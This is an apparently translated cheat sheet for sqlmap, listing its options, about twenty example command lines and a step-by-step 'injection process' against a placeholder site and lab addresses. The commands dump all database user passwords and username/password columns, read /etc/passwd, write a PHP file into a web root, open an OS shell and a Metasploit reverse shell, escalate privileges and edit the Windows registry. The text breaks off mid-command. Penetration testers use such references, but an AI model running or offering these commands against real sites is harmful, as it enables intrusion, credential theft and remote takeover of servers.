Basic operation notes:
-u # injection point
-f #Fingerprint identification database type
-b #Get database version information
-p #Specify testable parameters (?page=1&id=2 -p "page,id")
-D "" # specify the database name
-T "" #Specify the table name
-C "" # specify the field
-s "" #Save the injection process to a file, and it can be interrupted, and the injection will be resumed next time (save: -s "xx.log" restore: -s "xx.log" --resume)
–level=(1-5) #The test level to be executed, the default is 1
–risk=(0-3) #Risk level of test execution, the default is 1
–time-sec=(2,5) #delay response, default is 5
–data #Send data via POST
–columns #list the fields
–current-user #Get the current user name
–current-db #Get the current database name
–users #List all users of the database
–passwords #all database user passwords
–privileges #View user permissions (–privileges -U root)
-U #Specify the database user
–dbs #list all databases
–tables -D "" #List the tables in the specified database
–columns -T "user" -D "mysql" #List all fields of the user table in the mysql database
--dump-all #List all tables in all databases
–exclude-sysdbs #Only list the databases and tables created by users themselves
–dump -T "" -D "" -C "" #List the data of the fields of the table in the specified database (–dump -T users -D master -C surname)
–dump -T "" -D "" --start 2 --top 4 # List the data of fields 2-4 of the table in the specified database
–dbms #Specify the database (MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
–os #Specify the system (Linux, Windows)
-v # Verbose level (0-6) 0: Only show Python's backtrace, error and critical messages.
1: Display information and warning messages.
2: Display debug messages.
3: Payload injection.
4: Display HTTP requests.
5: Display HTTP response headers.
6: Display the content of the HTTP response page
–privileges #View permissions
–is-dba #is the database administrator
–roles #enumerate database user roles
–udf-inject #Import user-defined functions (obtain system permissions)
–union-check #Whether to support union injection
–union-cols #union query table records
--union-test #union statement test
–union-use #Use union injection
–union-tech orderby #union combination order by
–data “” #POST way to submit data (–data “page=1&id=2”)
–cookie “separated by ;” #cookie injection (–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”) --referer “” #Use referer deception (–referer “http://”)
–user-agent "" #custom user-agent
–proxy “http://127.0.0.1:8118” #proxy injection
–string="" #Specify keywords, string matches.
–threads #Use multithreading (–threads 3)
–sql-shell #Execute the specified sql command
–sql-query #Execute the specified sql statement (–sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1")
–file-read #read the specified file
–file-write #Write to a local file (–file-write /test/test.txt --file-dest /var/www/html/1.txt; write the local test.txt file to target 1. txt)
–file-dest #The absolute path of the file to be written
–os-cmd=id #Execute system commands
–os-shell #system interactive shell
–os-pwn #rebound shell(–os-pwn --msf-path=/opt/framework/msf3/)
–msf-path= #matesploit absolute path (–msf-path=/opt/framework/msf3/)
–os-smbrelay #
–os-bof #
–reg-read #Read win system registry
--priv-esc #
–time-sec= #Delay setting default –time-sec=5 is 5 seconds -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" #Specify user -agent injection
–eta # blind injection /pentest/database/sqlmap/txt/common-columns.txt field dictionary
common-outputs.txt
common-tables.txt table dictionary
keywords.txt
oracle-default-passwords.txt
user-agents.txt
wordlist.txt
Commonly used sentences:
1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db --users --passwords --dbs -v 0
2./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --passwords -U root --union-use -v 2
3./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -T users -C username -D userdb --start 2 --stop 3 -v 2
4./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -C “user,pass” -v 1 --exclude-sysdbs
5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --sql-shell -v 2
6./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-read “c:\boot.ini” -v 2
7./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 2
8./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-cmd “id” -v 1
9./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-shell --union-use -v 2
10./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 1
11./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 -v 1
12./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-bof --msf-path=/opt/framework/msf3 -v 1
13./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --reg-add --reg-key=“HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap” --reg-value=Test --reg-type=REG_SZ --reg-data=1
14./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --and
15./sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1” -p id --prefix “’)” --suffix "AND (‘abc’='abc"16./sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1” --auth-type Basic --auth-cred “testuser:testpass"17./sqlmap.py -l burp.log --scope=”(www)?.target.(com|net|org)"18./sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
19./sqlmap.py -u “http://192.168.136.131/sqlmap/mssql/get_int.php?id=1” --sql-query “SELECT ‘foo’” -v 1
20./sqlmap.py -u “http://192.168.136.129/mysql/get_int_4.php?id=1” --common-tables -D testdb --banner
21./sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string='xx' --dbs --level=3 -p "uid" Simple injection process:
1. Read database version, current user, current database
sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1
2. Determine the current database user permissions
sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U username -v 1
sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U username -v 1
3. Read the passwords of all database users or specified database users
sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2
sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2
4. Get all databases
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2
5. Get all tables in the specified database
sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2
6. Get the fields of the specified table in the specified database name
sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2
7. Get the data of the specified field in the specified table in the specified database name
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C “username,password” -s “sqlnmapdb.log” -v 2
8.file-read reads web files
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read “/etc/passwd” -v 2
9.file-write writes files to the web
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file